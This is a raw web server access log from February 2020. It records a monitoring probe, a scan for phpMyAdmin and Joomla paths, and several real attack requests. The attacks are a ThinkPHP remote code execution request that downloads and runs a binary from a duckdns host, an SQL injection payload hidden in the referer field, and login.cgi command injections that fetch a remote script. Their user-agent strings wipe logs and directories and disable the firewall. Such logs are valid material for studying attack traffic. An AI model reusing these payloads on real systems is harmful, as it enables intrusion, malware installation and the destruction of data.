118.25.0.193 - - [21/Feb/2020:12:03:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:12:03:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.25.0.193 - - [21/Feb/2020:12:03:44 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.25.0.193 - - [21/Feb/2020:12:04:08 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.25.0.193 - - [21/Feb/2020:12:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:12:04:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [21/Feb/2020:12:04:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
118.25.0.193 - - [21/Feb/2020:12:04:56 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
118.25.0.193 - - [21/Feb/2020:12:05:20 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:12:05:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.25.0.193 - - [21/Feb/2020:12:05:44 +0100] "POST /%75%73%65%72%2e%70%68%70 HTTP/1.1" 404 313 "554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:2:\"id\";s:3:\"'/*\";s:3:\"num\";s:141:\"*/ union select 1,0x272F2A,3,4,5,6,7,8,0x7b247b24524345275d3b6469652f2a2a2f286d6435284449524543544f52595f534550415241544f5229293b2f2f7d7d,0--\";s:4:\"name\";s:3:\"ads\";}554fcae493e564ee0dc75bdf2ebf94ca" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
118.25.0.193 - - [21/Feb/2020:12:05:44 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:45 +0100] "GET /phpmyadmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:45 +0100] "GET /phpMyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:45 +0100] "GET /pmd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:45 +0100] "GET /pma/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:45 +0100] "GET /PMA/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:46 +0100] "GET /PMA2/index.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:46 +0100] "GET /pmamy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:46 +0100] "GET /pmamy2/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:48 +0100] "GET /mysql/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:48 +0100] "GET /admin/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:48 +0100] "GET /db/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:48 +0100] "GET /dbadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:49 +0100] "GET /web/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:49 +0100] "GET /admin/pma/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:49 +0100] "GET /admin/PMA/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:49 +0100] "GET /admin/mysql/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:50 +0100] "GET /admin/mysql2/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:50 +0100] "GET /admin/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:52 +0100] "GET /admin/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:52 +0100] "GET /admin/phpmyadmin2/index.php HTTP/1.1" 404 332 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:52 +0100] "GET /mysqladmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:52 +0100] "GET /mysql-admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:53 +0100] "GET /mysql_admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:53 +0100] "GET /phpadmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:53 +0100] "GET /phpAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:53 +0100] "GET /phpmyadmin0/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:54 +0100] "GET /phpmyadmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:54 +0100] "GET /phpmyadmin2/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:54 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:56 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:56 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:56 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:56 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:57 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:57 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:57 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:57 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:58 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:58 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:05:58 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:00 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:00 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:00 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:00 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:01 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:01 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:01 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:01 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:02 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:02 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:03 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:04 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:04 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:04 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:04 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:05 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:05 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:05 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:05 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:06 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:06 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:07 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:08 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:08 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:09 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:09 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:09 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:09 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:10 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:10 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:10 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:12 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:12 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:12 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:13 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:13 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:13 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:13 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:13 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:14 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:14 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:14 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:16 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:16 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:16 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:16 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:17 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:17 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:18 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:20 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:20 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:20 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:20 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:21 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:21 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:22 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:22 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:22 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:24 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:24 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:28 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:28 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
118.25.0.193 - - [21/Feb/2020:12:06:28 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
212.91.246.72 - - [21/Feb/2020:12:06:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:07:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.188.140 - - [21/Feb/2020:12:07:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
134.35.188.140 - - [21/Feb/2020:12:07:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:12:08:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:10:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:12:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
